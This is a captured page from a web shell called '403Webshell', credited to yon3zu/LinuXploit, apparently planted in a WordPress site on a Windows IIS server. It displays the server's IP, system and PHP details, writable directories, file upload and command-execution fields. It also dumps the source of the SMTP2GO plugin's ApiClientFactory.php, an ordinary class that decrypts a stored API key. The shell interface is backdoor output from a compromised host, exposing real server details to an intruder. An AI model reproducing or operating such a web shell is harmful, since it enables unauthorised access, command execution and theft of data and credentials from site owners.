403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/smtp2go/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/smtp2go/app/ApiClientFactory.php
<?php

namespace SMTP2GO\App;


use SMTP2GO\App\SettingsHelper;
use SMTP2GO\App\SecureApiKeyHelper;
use SMTP2GOWPPlugin\SMTP2GO\ApiClient;

class ApiClientFactory
{

    /**
     * Create a new SMTP2GO ApiClient instance
     * @return null|ApiClient 
     */
    public static function create()
    {
        $apiKey = SettingsHelper::getOption('smtp2go_api_key');

        
        if (empty($apiKey)) {
            return null;
        }

        $apiKey = (new SecureApiKeyHelper())->decryptKey($apiKey);

        $client = new ApiClient($apiKey);
        if ($region = SettingsHelper::getApiRegion()) {
            $client->setApiRegion($region);
        }

        return $client;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit